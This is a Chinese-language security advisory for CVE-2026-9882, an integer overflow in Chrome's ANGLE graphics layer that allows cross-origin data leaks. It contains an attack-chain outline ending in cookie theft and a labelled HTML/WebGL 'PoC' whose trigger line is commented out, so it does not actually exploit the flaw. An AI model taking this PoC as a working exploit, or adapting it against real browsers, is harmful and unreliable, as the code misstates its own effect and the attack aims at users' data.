IPBUF安全漏洞报告
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CVE-2026-9882 CVSS 6.5 中危

CVE-2026-9882 Google Chrome整数溢出漏洞

披露日期: 2026-05-28

漏洞信息

漏洞编号
CVE-2026-9882
漏洞类型
整数溢出
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome

相关标签

整数溢出信息泄露Google ChromeWebGL浏览器安全

漏洞概述

CVE-2026-9882是Google Chrome浏览器中存在的一个安全漏洞。该漏洞源于ANGLE组件中的整数溢出问题。在特定版本的Chrome(148.0.7778.216之前)中,攻击者可以通过诱导用户访问特制的HTML页面来触发此漏洞。成功利用该漏洞可能导致跨源数据泄露,从而绕过浏览器的同源策略,获取敏感信息。该漏洞被Chromium安全团队标记为严重级别,建议用户尽快更新浏览器。

技术细节

该漏洞位于Google Chrome的ANGLE(Almost Native Graphics Layer Engine)组件中,这是一个将OpenGL ES命令转换为本地图形API的抽象层。漏洞的根本原因是整数溢出,即程序在进行整数运算时,结果超出了变量所能表示的范围,导致数值回绕。攻击者通过构造恶意的HTML页面,其中包含精心设计的WebGL着色器或图形渲染指令。当受害者使用存在漏洞的Chrome浏览器访问该页面时,触发ANGLE组件中的计算错误。由于缺乏足够的边界检查,这种溢出可能被用于读取本应受限的内存区域。具体利用方式涉及跨源数据泄露,攻击者利用溢出破坏内存布局,使得原本属于另一个源的数据可以被当前恶意页面的JavaScript读取,从而绕过同源策略。

攻击链分析

STEP 1
侦察
识别使用未修补版本Chrome(< 148.0.7778.216)的目标用户。
STEP 2
投递
向目标发送包含恶意HTML页面的链接,或通过恶意网站托管该页面。
STEP 3
利用
目标用户访问页面并触发WebGL渲染,导致ANGLE组件发生整数溢出。
STEP 4
数据窃取
利用内存读取漏洞,泄露跨源数据(如Cookies或其他敏感信息)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Proof of Concept for CVE-2026-9882 --> <!-- This HTML page demonstrates a potential trigger for the integer overflow in ANGLE --> <!DOCTYPE html> <html> <head> <title>CVE-2026-9882 PoC</title> </head> <body> <h1>CVE-2026-9882 PoC: ANGLE Integer Overflow</h1> <p>This page attempts to trigger the vulnerability via WebGL.</p> <canvas id="glCanvas"></canvas> <script> const canvas = document.getElementById('glCanvas'); // Attempt to get a WebGL context const gl = canvas.getContext('webgl'); if (!gl) { console.log("WebGL not supported"); return; } // Step 1: Create a shader that might cause heavy calculation or specific buffer access // Note: Actual exploit requires specific shader code to trigger integer overflow in ANGLE const vsSource = ` attribute vec4 aVertexPosition; void main() { gl_Position = aVertexPosition; } `; const fsSource = ` precision mediump float; void main() { gl_FragColor = vec4(1.0, 0.0, 0.0, 1.0); } `; // Helper function to compile shaders function loadShader(gl, type, source) { const shader = gl.createShader(type); gl.shaderSource(shader, source); gl.compileShader(shader); if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) { console.error('An error occurred compiling the shaders: ' + gl.getShaderInfoLog(shader)); gl.deleteShader(shader); return null; } return shader; } const vertexShader = loadShader(gl, gl.VERTEX_SHADER, vsSource); const fragmentShader = loadShader(gl, gl.FRAGMENT_SHADER, fsSource); const shaderProgram = gl.createProgram(); gl.attachShader(shaderProgram, vertexShader); gl.attachShader(shaderProgram, fragmentShader); gl.linkProgram(shaderProgram); // Step 2: Attempt to allocate large buffers or manipulate uniform arrays to trigger overflow // This is a simulation of the condition leading to the overflow try { const buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); // Hypothetical trigger: Large buffer size calculation causing overflow // In a real exploit, specific values would be used to wrap around the integer const largeSize = 0x7FFFFFFF; // gl.bufferData(gl.ARRAY_BUFFER, largeSize, gl.STATIC_DRAW); console.log("Buffer operations completed. Check memory for leaks."); } catch (e) { console.log("Exception caught: " + e); } </script> </body> </html>

影响范围

Google Chrome < 148.0.7778.216

防御指南

临时缓解措施
在无法立即更新浏览器的情况下,建议用户避免点击不明链接或访问不可信的网站。由于该漏洞需要用户交互(UI:R),谨慎的浏览行为可以有效降低风险。此外,可以在浏览器设置中暂时禁用JavaScript或WebGL硬件加速,但这会严重影响正常的网页浏览体验。

参考链接

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